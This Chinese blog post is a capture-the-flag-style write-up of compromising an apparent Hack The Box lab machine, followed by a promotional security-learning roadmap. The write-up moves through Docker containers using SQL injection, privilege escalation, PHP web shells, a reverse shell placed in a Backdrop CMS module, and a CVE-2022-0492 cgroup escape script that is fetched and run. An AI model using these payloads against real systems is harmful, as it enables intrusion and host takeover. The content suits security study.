记一次docker虚拟机横向移动渗透测试

162 篇文章 1 订阅
7 篇文章 0 订阅

本次渗透在几个docker虚拟机间多次横向移动,最终找到了一个可以进行docker逃逸的出口,拿下服务器。渗透过程曲折但充满了乐趣,入口是172.17.0.6的docker虚拟机,然后一路横向移动,最终在172.17.0.2出实现了docker逃逸,简单画了一个思维导图,方便大家阅读全文。(因版权问题,靶机隐去,但不影响阅读)

信息收集

先端口扫描一波;

目录探测一波,并没有特殊发现;

子域名探测一波;

发现子域名;继续目录探测一波;

发现了admin和uploads;用xray扫描一波;

./xray_linux_amd64 webscan --basic-crawler http://portal.carpediem.htb/
–html-output /root/Desktop/vuln.html

sql注入,有点开心,还有个XSS;

结合上面的信息,开始进行漏洞挖掘。

漏洞挖掘

sql注入

sqlmap -u
“http://portal.carpediem.htb/?p=view_bike&id=c4ca4238a0b923820dcc509a6f75849b”
-dbs --batch

成功注出了用户,但发现并没有用;

注出的用户无法登录后台;

尝试sqlmap执行命令也失败了,只能暂时放弃往这方面深入。

垂直越权

注册一个用户;

尝试用数据库里的cookie来替换,但并没有用;

有趣的是,发现有一个按钮来修改我们的个人资料,

我们随意更改内容,并在发送请求时使用 burpsuite 拦截它;

我们可以看到 login_type 的值为 2,但是如果我们将其更改为 1 会发生什么?

有惊喜,可以成功越权访问到管理员的后台了;

我们可以上传一张图片,尝试上传一个php马;

修改下文件属性,就可以绕过限制;

上传成功,用哥斯拉访问一下,连接成功;

很快意识到我们在一个 docker 容器中:

下面开始docker容器的横向移动渗透。

横向移动

先反弹个shell回来便于操作;

我们还可以寻找其他 docker 容器或主机。检查 /etc/hosts 我们找到我们的和另一个 IP 地址:


先用fscan快速寻找突破点;


有个可以匿名访问的ftp,尝试后无结果;


还有一个mysql也开着,查找配置文件;


简单搭建一个socks代理;

Local: ./chisel server --reverse -p 6969
Target: ./chisel client 10.10.14.56:6969 R:socks

登录mysql数据库;


密码没有破开,暂时也发挥不了作用。

偷懒没有成功,还是namp重新梳理下资产;


172.17.0.1:端口
22,80
172.17.0.2:端口 21、80、443 - BACKDROP CMS 和 FTP 端口
172.17.0.3:端口27017 - MongoDB服务器
172.17.0.4:端口 3306、33060 - MySQL server for
172.17.0.5:端口 8118 - Trudesk v1.1.11

其他2个web上来都需要登录,没有什么好的办法,继续从数据库服务器入手。

MongoDB服务器

发现配置文件;


尝试登录数据库;

proxy chains mongosh
mongodb://127.0.0.1:27017

找到了用户和密码,但没法破解。所以尝试修改管理员密码,谷歌后找到了一个加密脚本可以生成密码;

import bcrypt

pd = "pd"
salt = bcrypt.gensalt(rounds=10)
encoded = bcrypt.hashpw(pd.encode(),salt)

print(encoded)

现在,我们只需从 trudesk 数据库中更改密码即可

test> use trudesk
switched to db trudesk
trudesk> db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}});
DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite.
{
  acknowledged: true,
  insertedId: null,
  matchedCount: 1,
  modifiedCount: 1,
  upsertedCount: 0
}
trudesk>

此时我们可以使用密码以管理员身份登录172.17.0.5的web。

Zoiper

让我们仔细看看这些开放票证:

研究许久基本弄明白,zoiper是一个通信程序,最后四位数字是登录名,密码是2022年。域名是
carpediem.htb。登录后,拨打 *62 并获取 hflaccus 的密码。

获得的凭据是 hflaccus : xxxxxxxx 我们可以通过 ssh 连接。

还在docker容器里,继续。

wireshark解包

在这里查找配置文件,提权等尝试了许多操作都没有结果;

看到配置文件

/etc/ssl/certs/backdrop.carpediem.htb.key ,结合之前作靶机的经验,才想到抓包;

我们将两者都传递给我们的机器,在wireshark中我们导入密钥并打开捕获的数据包;

解密方法;

将-keylogfile 参数指定的文件,配置到wireshark的Edit -> Preferences -> Protocols ->
TLS,(Pre)-Master-Secret log中:

加载后重新打开;

获取了用户登录的账号密码。

Backdrop-CMS

访问172.17.0.2:8002,

用抓包获取到的用户名和密码登录后台;

找到了后台getshell的方法,通过导入恶意模块来利用漏洞。

https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
❯ tar -xf reference.tar
❯ cat reference/shell.php
<?php system($_GET['cmd']);?>
想法是直接将其更改为反向shell并重新压缩它
❯ cat reference/shell.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>
❯ tar -cvf reference.tar reference &>/dev/null

在功能的顶部,我们可以导入一个模块

我们可以选择我们的 tar 文件,以便我们上传并导入它。

一旦我们上传它,我们调用 php 并在另一个容器中接收反向 shell;

成功获取了172.17.0.2的shell,还在docker容器里。

docker逃逸

检查pspy会向我们显示一个明显的脚本,每10秒运行一次;

www-data@90c7f522b842:/opt$ cat heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34"  ]]; then
        exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
        #something went wrong.  restoring from backup.
        cp /root/index.php /var/www/html/backdrop/index.php
fi

每隔一段时间,它就会更改 index.php 文件并调用它,似乎只要 heartbeat.sh 运行时 index.php 就会执行。将其更改为 php
反向 shell可以弹回一个shell。

通过在几秒钟后覆盖它,我们会以 root 身份收到一个反向 shell

获取root权限后,还是在docker容器里,利用最新的CVE-2022-0492进行docker容器逃逸。

由于机器没有 nano 或 vi 我们创建脚本并与服务器共享;

❯ cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

在docker容器里,我们下载并执行它以向我们发送反向shell;

root@90c7f522b842:~# unshare -UrmC bash
root@90c7f522b842:~# wget http://10.10.14.10/script.sh &>/dev/null
root@90c7f522b842:~# chmod +x script.sh
root@90c7f522b842:~# ./script.sh

运行脚本时,我们在自己的机器上接收 shell;

至此,完成了docker容器的逃逸,整个渗透过程结束。

网络安全学习路线&学习资源

【----帮助网安学习,以下所有学习资料免费领!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

点击这里,先领资料再阅读哦~

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全学习路线&学习资源

在这里插入图片描述

扫描下方卡片可获取最新的网络安全资料合集(包括200本电子书、标准题库、CTF赛前资料、常用工具、知识脑图等)助力大家提升进阶!

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值